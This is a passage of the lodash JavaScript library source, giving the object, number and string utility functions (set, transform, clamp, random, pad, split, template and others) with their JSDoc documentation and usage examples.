* Sets the value at `path` of `object`. If a portion of `path` doesn't exist,
* it's created. Arrays are created for missing index properties while objects
* are created for all other missing properties. Use `_.setWith` to customize
* `path` creation.
*
* **Note:** This method mutates `object`.
*
* @static
* @memberOf _
* @since 3.7.0
* @category Object
* @param {Object} object The object to modify.
* @param {Array|string} path The path of the property to set.
* @param {*} value The value to set.
* @returns {Object} Returns `object`.
* @example
*
* var object = { 'a': [{ 'b': { 'c': 3 } }] };
*
* _.set(object, 'a[0].b.c', 4);
* console.log(object.a[0].b.c);
* // => 4
*
* _.set(object, ['x', '0', 'y', 'z'], 5);
* console.log(object.x[0].y.z);
* // => 5
*/
function set(object, path, value) {
return object == null ? object : baseSet(object, path, value);
}
/**
* This method is like `_.set` except that it accepts `customizer` which is
* invoked to produce the objects of `path`. If `customizer` returns `undefined`
* path creation is handled by the method instead. The `customizer` is invoked
* with three arguments: (nsValue, key, nsObject).
*
* **Note:** This method mutates `object`.
*
* @static
* @memberOf _
* @since 4.0.0
* @category Object
* @param {Object} object The object to modify.
* @param {Array|string} path The path of the property to set.
* @param {*} value The value to set.
* @param {Function} [customizer] The function to customize assigned values.
* @returns {Object} Returns `object`.
* @example
*
* var object = {};
*
* _.setWith(object, '[0][1]', 'a', Object);
* // => { '0': { '1': 'a' } }
*/
function setWith(object, path, value, customizer) {
customizer = typeof customizer == 'function' ? customizer : undefined;
return object == null ? object : baseSet(object, path, value, customizer);
}
/**
* Creates an array of own enumerable string keyed-value pairs for `object`
* which can be consumed by `_.fromPairs`. If `object` is a map or set, its
* entries are returned.
*
* @static
* @memberOf _
* @since 4.0.0
* @alias entries
* @category Object
* @param {Object} object The object to query.
* @returns {Array} Returns the key-value pairs.
* @example
*
* function Foo() {
* this.a = 1;
* this.b = 2;
* }
*
* Foo.prototype.c = 3;
*
* _.toPairs(new Foo);
* // => [['a', 1], ['b', 2]] (iteration order is not guaranteed)
*/
var toPairs = createToPairs(keys);
/**
* Creates an array of own and inherited enumerable string keyed-value pairs
* for `object` which can be consumed by `_.fromPairs`. If `object` is a map
* or set, its entries are returned.
*
* @static
* @memberOf _
* @since 4.0.0
* @alias entriesIn
* @category Object
* @param {Object} object The object to query.
* @returns {Array} Returns the key-value pairs.
* @example
*
* function Foo() {
* this.a = 1;
* this.b = 2;
* }
*
* Foo.prototype.c = 3;
*
* _.toPairsIn(new Foo);
* // => [['a', 1], ['b', 2], ['c', 3]] (iteration order is not guaranteed)
*/
var toPairsIn = createToPairs(keysIn);
/**
* An alternative to `_.reduce`; this method transforms `object` to a new
* `accumulator` object which is the result of running each of its own
* enumerable string keyed properties thru `iteratee`, with each invocation
* potentially mutating the `accumulator` object. If `accumulator` is not
* provided, a new object with the same `[[Prototype]]` will be used. The
* iteratee is invoked with four arguments: (accumulator, value, key, object).
* Iteratee functions may exit iteration early by explicitly returning `false`.
*
* @static
* @memberOf _
* @since 1.3.0
* @category Object
* @param {Object} object The object to iterate over.
* @param {Function} [iteratee=_.identity] The function invoked per iteration.
* @param {*} [accumulator] The custom accumulator value.
* @returns {*} Returns the accumulated value.
* @example
*
* _.transform([2, 3, 4], function(result, n) {
* result.push(n *= n);
* return n % 2 == 0;
* }, []);
* // => [4, 9]
*
* _.transform({ 'a': 1, 'b': 2, 'c': 1 }, function(result, value, key) {
* (result[value] || (result[value] = [])).push(key);
* }, {});
* // => { '1': ['a', 'c'], '2': ['b'] }
*/
function transform(object, iteratee, accumulator) {
var isArr = isArray(object),
isArrLike = isArr || isBuffer(object) || isTypedArray(object);
iteratee = getIteratee(iteratee, 4);
if (accumulator == null) {
var Ctor = object && object.constructor;
if (isArrLike) {
accumulator = isArr ? new Ctor : [];
}
else if (isObject(object)) {
accumulator = isFunction(Ctor) ? baseCreate(getPrototype(object)) : {};
}
else {
accumulator = {};
}
}
(isArrLike ? arrayEach : baseForOwn)(object, function(value, index, object) {
return iteratee(accumulator, value, index, object);
});
return accumulator;
}
/**
* Removes the property at `path` of `object`.
*
* **Note:** This method mutates `object`.
*
* @static
* @memberOf _
* @since 4.0.0
* @category Object
* @param {Object} object The object to modify.
* @param {Array|string} path The path of the property to unset.
* @returns {boolean} Returns `true` if the property is deleted, else `false`.
* @example
*
* var object = { 'a': [{ 'b': { 'c': 7 } }] };
* _.unset(object, 'a[0].b.c');
* // => true
*
* console.log(object);
* // => { 'a': [{ 'b': {} }] };
*
* _.unset(object, ['a', '0', 'b', 'c']);
* // => true
*
* console.log(object);
* // => { 'a': [{ 'b': {} }] };
*/
function unset(object, path) {
return object == null ? true : baseUnset(object, path);
}
/**
* This method is like `_.set` except that accepts `updater` to produce the
* value to set. Use `_.updateWith` to customize `path` creation. The `updater`
* is invoked with one argument: (value).
*
* **Note:** This method mutates `object`.
*
* @static
* @memberOf _
* @since 4.6.0
* @category Object
* @param {Object} object The object to modify.
* @param {Array|string} path The path of the property to set.
* @param {Function} updater The function to produce the updated value.
* @returns {Object} Returns `object`.
* @example
*
* var object = { 'a': [{ 'b': { 'c': 3 } }] };
*
* _.update(object, 'a[0].b.c', function(n) { return n * n; });
* console.log(object.a[0].b.c);
* // => 9
*
* _.update(object, 'x[0].y.z', function(n) { return n ? n + 1 : 0; });
* console.log(object.x[0].y.z);
* // => 0
*/
function update(object, path, updater) {
return object == null ? object : baseUpdate(object, path, castFunction(updater));
}
/**
* This method is like `_.update` except that it accepts `customizer` which is
* invoked to produce the objects of `path`. If `customizer` returns `undefined`
* path creation is handled by the method instead. The `customizer` is invoked
* with three arguments: (nsValue, key, nsObject).
*
* **Note:** This method mutates `object`.
*
* @static
* @memberOf _
* @since 4.6.0
* @category Object
* @param {Object} object The object to modify.
* @param {Array|string} path The path of the property to set.
* @param {Function} updater The function to produce the updated value.
* @param {Function} [customizer] The function to customize assigned values.
* @returns {Object} Returns `object`.
* @example
*
* var object = {};
*
* _.updateWith(object, '[0][1]', _.constant('a'), Object);
* // => { '0': { '1': 'a' } }
*/
function updateWith(object, path, updater, customizer) {
customizer = typeof customizer == 'function' ? customizer : undefined;
return object == null ? object : baseUpdate(object, path, castFunction(updater), customizer);
}
/**
* Creates an array of the own enumerable string keyed property values of `object`.
*
* **Note:** Non-object values are coerced to objects.
*
* @static
* @since 0.1.0
* @memberOf _
* @category Object
* @param {Object} object The object to query.
* @returns {Array} Returns the array of property values.
* @example
*
* function Foo() {
* this.a = 1;
* this.b = 2;
* }
*
* Foo.prototype.c = 3;
*
* _.values(new Foo);
* // => [1, 2] (iteration order is not guaranteed)
*
* _.values('hi');
* // => ['h', 'i']
*/
function values(object) {
return object == null ? [] : baseValues(object, keys(object));
}
/**
* Creates an array of the own and inherited enumerable string keyed property
* values of `object`.
*
* **Note:** Non-object values are coerced to objects.
*
* @static
* @memberOf _
* @since 3.0.0
* @category Object
* @param {Object} object The object to query.
* @returns {Array} Returns the array of property values.
* @example
*
* function Foo() {
* this.a = 1;
* this.b = 2;
* }
*
* Foo.prototype.c = 3;
*
* _.valuesIn(new Foo);
* // => [1, 2, 3] (iteration order is not guaranteed)
*/
function valuesIn(object) {
return object == null ? [] : baseValues(object, keysIn(object));
}
/*------------------------------------------------------------------------*/
/**
* Clamps `number` within the inclusive `lower` and `upper` bounds.
*
* @static
* @memberOf _
* @since 4.0.0
* @category Number
* @param {number} number The number to clamp.
* @param {number} [lower] The lower bound.
* @param {number} upper The upper bound.
* @returns {number} Returns the clamped number.
* @example
*
* _.clamp(-10, -5, 5);
* // => -5
*
* _.clamp(10, -5, 5);
* // => 5
*/
function clamp(number, lower, upper) {
if (upper === undefined) {
upper = lower;
lower = undefined;
}
if (upper !== undefined) {
upper = toNumber(upper);
upper = upper === upper ? upper : 0;
}
if (lower !== undefined) {
lower = toNumber(lower);
lower = lower === lower ? lower : 0;
}
return baseClamp(toNumber(number), lower, upper);
}
/**
* Checks if `n` is between `start` and up to, but not including, `end`. If
* `end` is not specified, it's set to `start` with `start` then set to `0`.
* If `start` is greater than `end` the params are swapped to support
* negative ranges.
*
* @static
* @memberOf _
* @since 3.3.0
* @category Number
* @param {number} number The number to check.
* @param {number} [start=0] The start of the range.
* @param {number} end The end of the range.
* @returns {boolean} Returns `true` if `number` is in the range, else `false`.
* @see _.range, _.rangeRight
* @example
*
* _.inRange(3, 2, 4);
* // => true
*
* _.inRange(4, 8);
* // => true
*
* _.inRange(4, 2);
* // => false
*
* _.inRange(2, 2);
* // => false
*
* _.inRange(1.2, 2);
* // => true
*
* _.inRange(5.2, 4);
* // => false
*
* _.inRange(-3, -2, -6);
* // => true
*/
function inRange(number, start, end) {
start = toFinite(start);
if (end === undefined) {
end = start;
start = 0;
} else {
end = toFinite(end);
}
number = toNumber(number);
return baseInRange(number, start, end);
}
/**
* Produces a random number between the inclusive `lower` and `upper` bounds.
* If only one argument is provided a number between `0` and the given number
* is returned. If `floating` is `true`, or either `lower` or `upper` are
* floats, a floating-point number is returned instead of an integer.
*
* **Note:** JavaScript follows the IEEE-754 standard for resolving
* floating-point values which can produce unexpected results.
*
* @static
* @memberOf _
* @since 0.7.0
* @category Number
* @param {number} [lower=0] The lower bound.
* @param {number} [upper=1] The upper bound.
* @param {boolean} [floating] Specify returning a floating-point number.
* @returns {number} Returns the random number.
* @example
*
* _.random(0, 5);
* // => an integer between 0 and 5
*
* _.random(5);
* // => also an integer between 0 and 5
*
* _.random(5, true);
* // => a floating-point number between 0 and 5
*
* _.random(1.2, 5.2);
* // => a floating-point number between 1.2 and 5.2
*/
function random(lower, upper, floating) {
if (floating && typeof floating != 'boolean' && isIterateeCall(lower, upper, floating)) {
upper = floating = undefined;
}
if (floating === undefined) {
if (typeof upper == 'boolean') {
floating = upper;
upper = undefined;
}
else if (typeof lower == 'boolean') {
floating = lower;
lower = undefined;
}
}
if (lower === undefined && upper === undefined) {
lower = 0;
upper = 1;
}
else {
lower = toFinite(lower);
if (upper === undefined) {
upper = lower;
lower = 0;
} else {
upper = toFinite(upper);
}
}
if (lower > upper) {
var temp = lower;
lower = upper;
upper = temp;
}
if (floating || lower % 1 || upper % 1) {
var rand = nativeRandom();
return nativeMin(lower + (rand * (upper - lower + freeParseFloat('1e-' + ((rand + '').length - 1)))), upper);
}
return baseRandom(lower, upper);
}
/*------------------------------------------------------------------------*/
/**
* Converts `string` to [camel case](https://en.wikipedia.org/wiki/CamelCase).
*
* @static
* @memberOf _
* @since 3.0.0
* @category String
* @param {string} [string=''] The string to convert.
* @returns {string} Returns the camel cased string.
* @example
*
* _.camelCase('Foo Bar');
* // => 'fooBar'
*
* _.camelCase('--foo-bar--');
* // => 'fooBar'
*
* _.camelCase('__FOO_BAR__');
* // => 'fooBar'
*/
var camelCase = createCompounder(function(result, word, index) {
word = word.toLowerCase();
return result + (index ? capitalize(word) : word);
});
/**
* Converts the first character of `string` to upper case and the remaining
* to lower case.
*
* @static
* @memberOf _
* @since 3.0.0
* @category String
* @param {string} [string=''] The string to capitalize.
* @returns {string} Returns the capitalized string.
* @example
*
* _.capitalize('FRED');
* // => 'Fred'
*/
function capitalize(string) {
return upperFirst(toString(string).toLowerCase());
}
/**
* Deburrs `string` by converting
* [Latin-1 Supplement](https://en.wikipedia.org/wiki/Latin-1_Supplement_(Unicode_block)#Character_table)
* and [Latin Extended-A](https://en.wikipedia.org/wiki/Latin_Extended-A)
* letters to basic Latin letters and removing
* [combining diacritical marks](https://en.wikipedia.org/wiki/Combining_Diacritical_Marks).
*
* @static
* @memberOf _
* @since 3.0.0
* @category String
* @param {string} [string=''] The string to deburr.
* @returns {string} Returns the deburred string.
* @example
*
* _.deburr('déjà vu');
* // => 'deja vu'
*/
function deburr(string) {
string = toString(string);
return string && string.replace(reLatin, deburrLetter).replace(reComboMark, '');
}
/**
* Checks if `string` ends with the given target string.
*
* @static
* @memberOf _
* @since 3.0.0
* @category String
* @param {string} [string=''] The string to inspect.
* @param {string} [target] The string to search for.
* @param {number} [position=string.length] The position to search up to.
* @returns {boolean} Returns `true` if `string` ends with `target`,
* else `false`.
* @example
*
* _.endsWith('abc', 'c');
* // => true
*
* _.endsWith('abc', 'b');
* // => false
*
* _.endsWith('abc', 'b', 2);
* // => true
*/
function endsWith(string, target, position) {
string = toString(string);
target = baseToString(target);
var length = string.length;
position = position === undefined
? length
: baseClamp(toInteger(position), 0, length);
var end = position;
position -= target.length;
return position >= 0 && string.slice(position, end) == target;
}
/**
* Converts the characters "&", "<", ">", '"', and "'" in `string` to their
* corresponding HTML entities.
*
* **Note:** No other characters are escaped. To escape additional
* characters use a third-party library like [_he_](https://mths.be/he).
*
* Though the ">" character is escaped for symmetry, characters like
* ">" and "/" don't need escaping in HTML and have no special meaning
* unless they're part of a tag or unquoted attribute value. See
* [Mathias Bynens's article](https://mathiasbynens.be/notes/ambiguous-ampersands)
* (under "semi-related fun fact") for more details.
*
* When working with HTML you should always
* [quote attribute values](http://wonko.com/post/html-escaping) to reduce
* XSS vectors.
*
* @static
* @since 0.1.0
* @memberOf _
* @category String
* @param {string} [string=''] The string to escape.
* @returns {string} Returns the escaped string.
* @example
*
* _.escape('fred, barney, & pebbles');
* // => 'fred, barney, & pebbles'
*/
function escape(string) {
string = toString(string);
return (string && reHasUnescapedHtml.test(string))
? string.replace(reUnescapedHtml, escapeHtmlChar)
: string;
}
/**
* Escapes the `RegExp` special characters "^", "$", "\", ".", "*", "+",
* "?", "(", ")", "[", "]", "{", "}", and "|" in `string`.
*
* @static
* @memberOf _
* @since 3.0.0
* @category String
* @param {string} [string=''] The string to escape.
* @returns {string} Returns the escaped string.
* @example
*
* _.escapeRegExp('[lodash](https://lodash.com/)');
* // => '\[lodash\]\(https://lodash\.com/\)'
*/
function escapeRegExp(string) {
string = toString(string);
return (string && reHasRegExpChar.test(string))
? string.replace(reRegExpChar, '\\$&')
: string;
}
/**
* Converts `string` to
* [kebab case](https://en.wikipedia.org/wiki/Letter_case#Special_case_styles).
*
* @static
* @memberOf _
* @since 3.0.0
* @category String
* @param {string} [string=''] The string to convert.
* @returns {string} Returns the kebab cased string.
* @example
*
* _.kebabCase('Foo Bar');
* // => 'foo-bar'
*
* _.kebabCase('fooBar');
* // => 'foo-bar'
*
* _.kebabCase('__FOO_BAR__');
* // => 'foo-bar'
*/
var kebabCase = createCompounder(function(result, word, index) {
return result + (index ? '-' : '') + word.toLowerCase();
});
/**
* Converts `string`, as space separated words, to lower case.
*
* @static
* @memberOf _
* @since 4.0.0
* @category String
* @param {string} [string=''] The string to convert.
* @returns {string} Returns the lower cased string.
* @example
*
* _.lowerCase('--Foo-Bar--');
* // => 'foo bar'
*
* _.lowerCase('fooBar');
* // => 'foo bar'
*
* _.lowerCase('__FOO_BAR__');
* // => 'foo bar'
*/
var lowerCase = createCompounder(function(result, word, index) {
return result + (index ? ' ' : '') + word.toLowerCase();
});
/**
* Converts the first character of `string` to lower case.
*
* @static
* @memberOf _
* @since 4.0.0
* @category String
* @param {string} [string=''] The string to convert.
* @returns {string} Returns the converted string.
* @example
*
* _.lowerFirst('Fred');
* // => 'fred'
*
* _.lowerFirst('FRED');
* // => 'fRED'
*/
var lowerFirst = createCaseFirst('toLowerCase');
/**
* Pads `string` on the left and right sides if it's shorter than `length`.
* Padding characters are truncated if they can't be evenly divided by `length`.
*
* @static
* @memberOf _
* @since 3.0.0
* @category String
* @param {string} [string=''] The string to pad.
* @param {number} [length=0] The padding length.
* @param {string} [chars=' '] The string used as padding.
* @returns {string} Returns the padded string.
* @example
*
* _.pad('abc', 8);
* // => ' abc '
*
* _.pad('abc', 8, '_-');
* // => '_-abc_-_'
*
* _.pad('abc', 3);
* // => 'abc'
*/
function pad(string, length, chars) {
string = toString(string);
length = toInteger(length);
var strLength = length ? stringSize(string) : 0;
if (!length || strLength >= length) {
return string;
}
var mid = (length - strLength) / 2;
return (
createPadding(nativeFloor(mid), chars) +
string +
createPadding(nativeCeil(mid), chars)
);
}
/**
* Pads `string` on the right side if it's shorter than `length`. Padding
* characters are truncated if they exceed `length`.
*
* @static
* @memberOf _
* @since 4.0.0
* @category String
* @param {string} [string=''] The string to pad.
* @param {number} [length=0] The padding length.
* @param {string} [chars=' '] The string used as padding.
* @returns {string} Returns the padded string.
* @example
*
* _.padEnd('abc', 6);
* // => 'abc '
*
* _.padEnd('abc', 6, '_-');
* // => 'abc_-_'
*
* _.padEnd('abc', 3);
* // => 'abc'
*/
function padEnd(string, length, chars) {
string = toString(string);
length = toInteger(length);
var strLength = length ? stringSize(string) : 0;
return (length && strLength < length)
? (string + createPadding(length - strLength, chars))
: string;
}
/**
* Pads `string` on the left side if it's shorter than `length`. Padding
* characters are truncated if they exceed `length`.
*
* @static
* @memberOf _
* @since 4.0.0
* @category String
* @param {string} [string=''] The string to pad.
* @param {number} [length=0] The padding length.
* @param {string} [chars=' '] The string used as padding.
* @returns {string} Returns the padded string.
* @example
*
* _.padStart('abc', 6);
* // => ' abc'
*
* _.padStart('abc', 6, '_-');
* // => '_-_abc'
*
* _.padStart('abc', 3);
* // => 'abc'
*/
function padStart(string, length, chars) {
string = toString(string);
length = toInteger(length);
var strLength = length ? stringSize(string) : 0;
return (length && strLength < length)
? (createPadding(length - strLength, chars) + string)
: string;
}
/**
* Converts `string` to an integer of the specified radix. If `radix` is
* `undefined` or `0`, a `radix` of `10` is used unless `value` is a
* hexadecimal, in which case a `radix` of `16` is used.
*
* **Note:** This method aligns with the
* [ES5 implementation](https://es5.github.io/#x15.1.2.2) of `parseInt`.
*
* @static
* @memberOf _
* @since 1.1.0
* @category String
* @param {string} string The string to convert.
* @param {number} [radix=10] The radix to interpret `value` by.
* @param- {Object} [guard] Enables use as an iteratee for methods like `_.map`.
* @returns {number} Returns the converted integer.
* @example
*
* _.parseInt('08');
* // => 8
*
* _.map(['6', '08', '10'], _.parseInt);
* // => [6, 8, 10]
*/
function parseInt(string, radix, guard) {
if (guard || radix == null) {
radix = 0;
} else if (radix) {
radix = +radix;
}
return nativeParseInt(toString(string).replace(reTrimStart, ''), radix || 0);
}
/**
* Repeats the given string `n` times.
*
* @static
* @memberOf _
* @since 3.0.0
* @category String
* @param {string} [string=''] The string to repeat.
* @param {number} [n=1] The number of times to repeat the string.
* @param- {Object} [guard] Enables use as an iteratee for methods like `_.map`.
* @returns {string} Returns the repeated string.
* @example
*
* _.repeat('*', 3);
* // => '***'
*
* _.repeat('abc', 2);
* // => 'abcabc'
*
* _.repeat('abc', 0);
* // => ''
*/
function repeat(string, n, guard) {
if ((guard ? isIterateeCall(string, n, guard) : n === undefined)) {
n = 1;
} else {
n = toInteger(n);
}
return baseRepeat(toString(string), n);
}
/**
* Replaces matches for `pattern` in `string` with `replacement`.
*
* **Note:** This method is based on
* [`String#replace`](https://mdn.io/String/replace).
*
* @static
* @memberOf _
* @since 4.0.0
* @category String
* @param {string} [string=''] The string to modify.
* @param {RegExp|string} pattern The pattern to replace.
* @param {Function|string} replacement The match replacement.
* @returns {string} Returns the modified string.
* @example
*
* _.replace('Hi Fred', 'Fred', 'Barney');
* // => 'Hi Barney'
*/
function replace() {
var args = arguments,
string = toString(args[0]);
return args.length < 3 ? string : string.replace(args[1], args[2]);
}
/**
* Converts `string` to
* [snake case](https://en.wikipedia.org/wiki/Snake_case).
*
* @static
* @memberOf _
* @since 3.0.0
* @category String
* @param {string} [string=''] The string to convert.
* @returns {string} Returns the snake cased string.
* @example
*
* _.snakeCase('Foo Bar');
* // => 'foo_bar'
*
* _.snakeCase('fooBar');
* // => 'foo_bar'
*
* _.snakeCase('--FOO-BAR--');
* // => 'foo_bar'
*/
var snakeCase = createCompounder(function(result, word, index) {
return result + (index ? '_' : '') + word.toLowerCase();
});
/**
* Splits `string` by `separator`.
*
* **Note:** This method is based on
* [`String#split`](https://mdn.io/String/split).
*
* @static
* @memberOf _
* @since 4.0.0
* @category String
* @param {string} [string=''] The string to split.
* @param {RegExp|string} separator The separator pattern to split by.
* @param {number} [limit] The length to truncate results to.
* @returns {Array} Returns the string segments.
* @example
*
* _.split('a-b-c', '-', 2);
* // => ['a', 'b']
*/
function split(string, separator, limit) {
if (limit && typeof limit != 'number' && isIterateeCall(string, separator, limit)) {
separator = limit = undefined;
}
limit = limit === undefined ? MAX_ARRAY_LENGTH : limit >>> 0;
if (!limit) {
return [];
}
string = toString(string);
if (string && (
typeof separator == 'string' ||
(separator != null && !isRegExp(separator))
)) {
separator = baseToString(separator);
if (!separator && hasUnicode(string)) {
return castSlice(stringToArray(string), 0, limit);
}
}
return string.split(separator, limit);
}
/**
* Converts `string` to
* [start case](https://en.wikipedia.org/wiki/Letter_case#Stylistic_or_specialised_usage).
*
* @static
* @memberOf _
* @since 3.1.0
* @category String
* @param {string} [string=''] The string to convert.
* @returns {string} Returns the start cased string.
* @example
*
* _.startCase('--foo-bar--');
* // => 'Foo Bar'
*
* _.startCase('fooBar');
* // => 'Foo Bar'
*
* _.startCase('__FOO_BAR__');
* // => 'FOO BAR'
*/
var startCase = createCompounder(function(result, word, index) {
return result + (index ? ' ' : '') + upperFirst(word);
});
/**
* Checks if `string` starts with the given target string.
*
* @static
* @memberOf _
* @since 3.0.0
* @category String
* @param {string} [string=''] The string to inspect.
* @param {string} [target] The string to search for.
* @param {number} [position=0] The position to search from.
* @returns {boolean} Returns `true` if `string` starts with `target`,
* else `false`.
* @example
*
* _.startsWith('abc', 'a');
* // => true
*
* _.startsWith('abc', 'b');
* // => false
*
* _.startsWith('abc', 'b', 1);
* // => true
*/
function startsWith(string, target, position) {
string = toString(string);
position = position == null
? 0
: baseClamp(toInteger(position), 0, string.length);
target = baseToString(target);
return string.slice(position, position + target.length) == target;
}
/**
* Creates a compiled template function that can interpolate data properties
* in "interpolate" delimiters, HTML-escape interpolated data properties in
* "escape" delimiters, and execute JavaScript in "evaluate" delimiters. Data
* properties may be accessed as free variables in the template. If a setting
* object is given, it takes precedence over `_.templateSettings` values.
*
* **Note:** In the development build `_.template` utilizes
* [sourceURLs](http://www.html5rocks.com/en/tutorials/developertools/sourcemaps/#toc-sourceurl)
* for easier debugging.
*
* For more information on precompiling templates see
* [lodash's custom builds documentation](https://lodash.com/custom-builds).
*
* For more information on Chrome extension sandboxes see
* [Chrome's extensions documentation](https://developer.chrome.com/extensions/sandboxingEval).
*
* @static
* @since 0.1.0
* @memberOf _
* @category String
* @param {string} [string=''] The template string.
* @param {Object} [options={}] The options object.
* @param {RegExp} [options.escape=_.templateSettings.escape]
* The HTML "escape" delimiter.
* @param {RegExp} [options.evaluate=_.templateSettings.evaluate]
* The "evaluate" delimiter.
* @param {Object} [options.imports=_.templateSettings.imports]
* An object to import into the template as free variables.
* @param {RegExp} [options.interpolate=_.templateSettings.interpolate]
* The "interpolate" delimiter.
* @param {string} [options.sourceURL='lodash.templateSources[n]']
* The sourceURL of the compiled template.
* @param {string} [options.variable='obj']
* The data object variable name.
* @param- {Object} [guard] Enables use as an iteratee for methods like `_.map`.
* @returns {Function} Returns the compiled template function.
* @example
*
* // Use the "interpolate" delimiter to create a compiled template.
* var compiled = _.template('hello <%= user %>!');
* compiled({ 'user': 'fred' });
* // => 'hello fred!'
*
* // Use the HTML "escape" delimiter to escape data property values.
* var compiled = _.template('<b><%- value %></b>');
* compiled({ 'value': '<script>' });
* // => '<b><script></b>'
*
* // Use the "evaluate" delimiter to execute JavaScript and generate HTML.
* var compiled = _.template('<% _.forEach(users, function(user) { %><li><%- user %></li><% }); %>');
* compiled({ 'users': ['fred', 'barney'] });
* // => '<li>fred</li><li>barney</li>'
*
* // Use the internal `print` function in "evaluate" delimiters.
* var compiled = _.template('<% print("hello " + user); %>!');
* compiled({ 'user': 'barney' });
* // => 'hello barney!'
*
* // Use the ES template literal delimiter as an "interpolate" delimiter.
* // Disable support by replacing the "interpolate" delimiter.
* var compiled = _.template('hello ${ user }!');
* compiled({ 'user': 'pebbles' });
* // => 'hello pebbles!'
*
* // Use backslashes to treat delimiters as plain text.
* var compiled = _.template('<%= "\\<%- value %\\>" %>');
* compiled({ 'value': 'ignored' });
* // => '<%- value %>'
*
* // Use the `imports` option to import `jQuery` as `jq`.
* var text = '<% jq.each(users, function(user) { %><li><%- user %></li><% }); %>';
* var compiled = _.template(text, { 'imports': { 'jq': jQuery } });
* compiled({ 'users': ['fred', 'barney'] });
* // => '<li>fred</li><li>barney</li>'
*
* // Use the `sourceURL` option to specify a custom sourceURL for the template.
* var compiled = _.template('hello <%= user %>!', { 'sourceURL': '/basic/greeting.jst' });
* compiled(data);
* // => Find the source of "greeting.jst" under the Sources tab or Resources panel of the web inspector.
*
* // Use the `variable` option to ensure a with-statement isn't used in the compiled template.
* var compiled = _.template('hi <%= data.user %>!', { 'variable': 'data' });
* compiled.source;
* // => function(data) {
* // var __t, __p = '';
* // __p += 'hi ' + ((__t = ( data.user )) == null ? '' : __t) + '!';
* // return __p;
* // }
*
* // Use custom template delimiters.
* _.templateSettings.interpolate = /{{([\s\S]+?)}}/g;
* var compiled = _.template('hello {{ user }}!');
* compiled({ 'user': 'mustache' });
* // => 'hello mustache!'
*
* // Use the `source` property to inline compiled templates for meaningful
* // line numbers in error messages and stack traces.
* fs.writeFileSync(path.join(process.cwd(), 'jst.js'), '\
* var JST = {\
* "main": ' + _.template(mainText).source + '\
* };\
* ');
*/
function template(string, options, guard) {
// Based on John Resig's `tmpl` implementation
// (http://ejohn.org/blog/javascript-micro-templating/)
// and Laura Doktorova's doT.js (https://github.com/olado/doT).
var settings = lodash.templateSettings;
if (guard && isIterateeCall(string, options, guard)) {
options = undefined;
}
string = toString(string);
options = assignInWith({}, options, settings, customDefaultsAssignIn);
var imports = assignInWith({}, options.imports, settings.imports, customDefaultsAssignIn),
importsKeys = keys(imports),
importsValues = baseValues(imports, importsKeys);
var isEscaping,
isEvaluating,
index = 0,
interpolate = options.interpolate || reNoMatch,
source = "__p += '";
// Compile the regexp to match each delimiter.
var reDelimiters = RegExp(
(options.escape || reNoMatch).source + '|' +
interpolate.source + '|' +
(interpolate === reInterpolate ? reEsTemplate : reNoMatch).source + '|' +
(options.evaluate || reNoMatch).source + '|$'
, 'g');
// Use a sourceURL for easier debugging.
// The sourceURL gets injected into the source that's eval-ed, so be careful
// to normalize all kinds of whitespace, so e.g. newlines (and unicode versions of it) can't sneak in
// and escape the comment, thus injecting code that gets evaled.
var sourceURL = '//# sourceURL=' +
(hasOwnProperty.call(options, 'sourceURL')
? (options.sourceURL + '').replace(/\s/g, ' ')
: ('lodash.templateSources[' + (++templateCounter) + ']')
) + '\n';
string.replace(reDelimiters, function(match, escapeValue, interpolateValue, esTemplateValue, evaluateValue, offset) {
interpolateValue || (interpolateValue = esTemplateValue);
// Escape characters that can't be included in string literals.
source += string.slice(index, offset).replace(reUnescapedString, escapeStringChar);
// Replace delimiters with snippets.
if (escapeValue) {
isEscaping = true;
source += "' +\n__e(" + escapeValue + ") +\n'";
}
if (evaluateValue) {
isEvaluating = true;
source += "';\n" + evaluateValue + ";\n__p += '";
}
if (interpolateValue) {
source += "' +\n((__t = (" + interpolateValue + ")) == null ? '' : __t) +\n'";
}
index = offset + match.length;
// The JS engine embedded in Adobe products needs `match` returned in
// order to produce the correct `offset` value.
return match;
});
source += "';\n";
// If `variable` is not specified wrap a with-statement around the generated
// code to add the data object to the top of the scope chain.
var variable = hasOwnProperty.call(options, 'variable') && options.variable;
if (!variable) {
source = 'with (obj) {\n' + source + '\n}\n';
}
// Throw an error if a forbidden character was found in `variable`, to prevent
// potential command injection attacks.
else if (reForbiddenIdentifierChars.test(variable)) {
throw new Error(INVALID_TEMPL_VAR_ERROR_TEXT);
}
// Cleanup code by stripping empty strings.
source = (isEvaluating ? source.replace(reEmptyStringLeading, '') : source)
.replace(reEmptyStringMiddle, '$1')
.replace(reEmptyStringTrailing, '$1;');
// Frame code as the function body.
source = 'function(' + (variable || 'obj') + ') {\n' +
(variable
? ''
: 'obj || (obj = {});\n'
) +
"var __t, __p = ''" +
(isEscaping
? ', __e = _.escape'
: ''
) +
(isEvaluating
? ', __j = Array.prototype.join;\n' +
"function print() { __p += __j.call(arguments, '') }\n"
: ';\n'
) +
source +
'return __p\n}';
var result = attempt(function() {
return Function(importsKeys, sourceURL + 'return ' + source)
.apply(undefined, importsValues);
});
// Provide the compiled function's source by its `toString` method or
// the `source` property as a convenience for inlining compiled templates.
result.source = source;
if (isError(result)) {
throw result;
}
return result;
}
/**
* Converts `string`, as a whole, to lower case just like
* [String#toLowerCase](https://mdn.io/toLowerCase).
*
* @static
* @memberOf _
* @since 4.0.0
* @category String
* @param {string} [string=''] The string to convert.
* @returns {string} Returns the lower cased string.
* @example
*
* _.toLower('--Foo-Bar--');
* // => '--foo-bar--'
*
* _.toLower('fooBar');
* // => 'foobar'
*
* _.toLower('__FOO_BAR__');
* // => '__foo_bar__'
*/
function toLower(value) {
return toString(value).toLowerCase();
}
/**
* Converts `string`, as a whole, to upper case just like
* [String#toUpperCase](https://mdn.io/toUpperCase).
*
* @static
* @memberOf _
* @since 4.0.0
* @category String
* @param {string} [string=''] The string to convert.
* @returns {string} Returns the upper cased string.
* @example
*
* _.toUpper('--foo-bar--');
* // => '--FOO-BAR--'
*
* _.toUpper('fooBar');
* // => 'FOOBAR'
*
* _.toUpper('__foo_bar__');
* // => '__FOO_BAR__'
*/
function toUpper(value) {
return toString(value).toUpperCase();
}
/**
* Removes leading and trailing whitespace or specified characters from `string`.
*
* @static
* @memberOf _
* @since 3.0.0
* @category String
* @param {string} [string=''] The string to trim.
* @param {string} [chars=whitespace] The characters to trim.
* @param- {Object} [guard] Enables use as an iteratee for methods like `_.map`.
* @returns {string} Returns the trimmed string.
* @example
*
* _.trim(' abc ');
* // => 'abc'
*
* _.trim('-_-abc-_-', '_-');
* // => 'abc'
*
* _.map([' foo ', ' bar '], _.trim);
* // => ['foo', 'bar']
*/
